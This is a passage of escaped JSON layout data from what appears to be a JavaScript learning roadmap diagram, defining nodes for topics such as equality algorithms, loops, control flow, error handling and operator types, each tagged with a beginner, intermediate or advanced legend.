\"selected\": false,\n      \"data\": {\n        \"label\": \"Object.is\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -382.828125,\n        \"y\": 781.063720703125\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w_jxbePkFlj8DO1erTIzf\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -514.2332744798255,\n        \"y\": 832.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Value Comparison Operators\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -514.2332744798255,\n        \"y\": 832.063720703125\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"PLallt_T33W6bUEn0Hc3W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.2816601458129,\n        \"y\": 934.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"isLooselyEqual\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.2816601458129,\n        \"y\": 934.063720703125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pcILon_Jjm2_XS10iUJ0E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.2816601458129,\n        \"y\": 987.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"isStrictlyEqual\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.2816601458129,\n        \"y\": 987.063720703125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"fL3B2hkTgMb0oEwMiWJtK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.2816601458129,\n        \"y\": 1041.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SameValueZero\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iRlgVcCk54BVDA-Rx0kt8\",\n          \"label\": \"Advanced Topics / pick these at last\",\n          \"color\": \"#000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.2816601458129,\n        \"y\": 1041.063720703125\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"Saqi1gQD3ddyJQ9tFIXqz\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -187.7816601458129,\n        \"y\": 894.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Equality Algorithms\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -187.7816601458129,\n        \"y\": 894.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"YD-2l_amfqqqCdtc_Zdzo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 127.55738234743455,\n        \"y\": 1013.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Loops and Iterations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.55738234743455,\n        \"y\": 1013.063720703125\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2M211rcaPSWbZ-sPoSEVR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.55738234743455,\n        \"y\": 826.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"for\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.55738234743455,\n        \"y\": 826.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"57lO_3uxJaWsFXS-0J1AK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.55738234743455,\n        \"y\": 879.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"do...while\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.55738234743455,\n        \"y\": 879.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9-MpHmzK_IiCi6IcvAlGM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 127.55738234743455,\n        \"y\": 932.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"while\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 127.55738234743455,\n        \"y\": 932.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cq3vvFZoNnAAZJ6oEBUwb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 239.43263762370384,\n        \"y\": 932.9735702358665\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"for...in loop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 239.43263762370384,\n        \"y\": 932.9735702358665\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FBz6h_AmTJBXoBN-a38a5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 239.43263762370384,\n        \"y\": 879.9735702358665\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"for...of loop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 239.43263762370384,\n        \"y\": 879.9735702358665\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4oHFzn7R7xLxfuLpsJjr-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 239.43263762370384,\n        \"y\": 826.9735702358665\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"break / continue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 239.43263762370384,\n        \"y\": 826.9735702358665\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3tckJ2Sci7z-sNx9jx9eF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 86.55738234743455,\n        \"y\": 1194.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Control Flow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-top\"\n        },\n        \"oldId\": \"_6vZa43gWjxO2OcD1iCCQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 86.55738234743455,\n        \"y\": 1194.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"34TKGxV9YziOWMh9rT_KE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 311.0025092677304,\n        \"y\": 1226.3588589383112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Exceptional Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 311.0025092677304,\n        \"y\": 1226.3588589383112\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ttCsd2_H2SuRivCjGv1OX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 310.5025092677304,\n        \"y\": 1172.3588589383112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditional Statements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 310.5025092677304,\n        \"y\": 1172.3588589383112\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ndbDXAx6bL4lZmpXv16Y_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 311.5162275376565,\n        \"y\": 1094.9435228468967\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"if...else\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H_QlcUlavKKfcNK8CYAvb\",\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 311.5162275376565,\n        \"y\": 1094.9435228468967\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H_QlcUlavKKfcNK8CYAvb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 429.0448461352869,\n        \"y\": 1094.9435228468967\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Switch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 429.0448461352869,\n        \"y\": 1094.9435228468967\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ReGIniyLYl5hGExchrJd2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 310.27559437185573,\n        \"y\": 1303.7725047650335\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"throw statement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 310.27559437185573,\n        \"y\": 1303.7725047650335\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rbjEZe5vxCJ8reI1oZ-jf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 310.27559437185573,\n        \"y\": 1356.7725047650335\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"try/catch/finally\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 310.27559437185573,\n        \"y\": 1356.7725047650335\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-z-4VTaC3tOThqChgyoMs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 310.27559437185573,\n        \"y\": 1409.7725047650335\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 310.27559437185573,\n        \"y\": 1409.7725047650335\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_6vZa43gWjxO2OcD1iCCQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -204.2816601458129,\n        \"y\": 1194.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Expressions & Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"right-top\"\n        },\n        \"oldId\": \"YD-2l_amfqqqCdtc_Zdzo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -204.2816601458129,\n        \"y\": 1194.2304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IvBtUzIGnkgGXrJjqmjf4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1142.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Assignment Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1142.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-v4_V4UuoZSgUk2sqOCim\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1195.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Comparison Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1195.3694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0PK1NwlgkNe2Vf-We4uLH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1248.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Arithmetic Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1248.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ghjNJW67Wj5L5QK46xwL-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1301.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitwise Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1301.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bo4SvzU4BrPl3c99zW7Y5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1354.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Logical Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1354.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"udoz0DZi7f-vm30dSnYKu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1407.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BigInt Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"bcE9YSY2vLzRyJQSceY9M\",\n          \"label\": \"Intermediate Topics / pick these next\",\n          \"color\": \"#9900ff\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1407.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c38b6t5f17Zg2O2yg3eFP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1460.3694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"String Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1460.3694458007812\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"640mk-m5mB90Mme-7jcXV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 982.6210062954669\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditional Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NEZQB0yHPCcKwsESDYbk5\",\n          \"color\": \"#38761d\",\n          \"label\": \"Beginner Topics / start with these\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.6276397705078,\n        \"y\": 982.6210062954669\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6_8EwyZY2jBkZr7xnfRY3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.6276397705078,\n        \"y\": 1035.621006295467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Comma Operators\",\n        \"style\": {\n          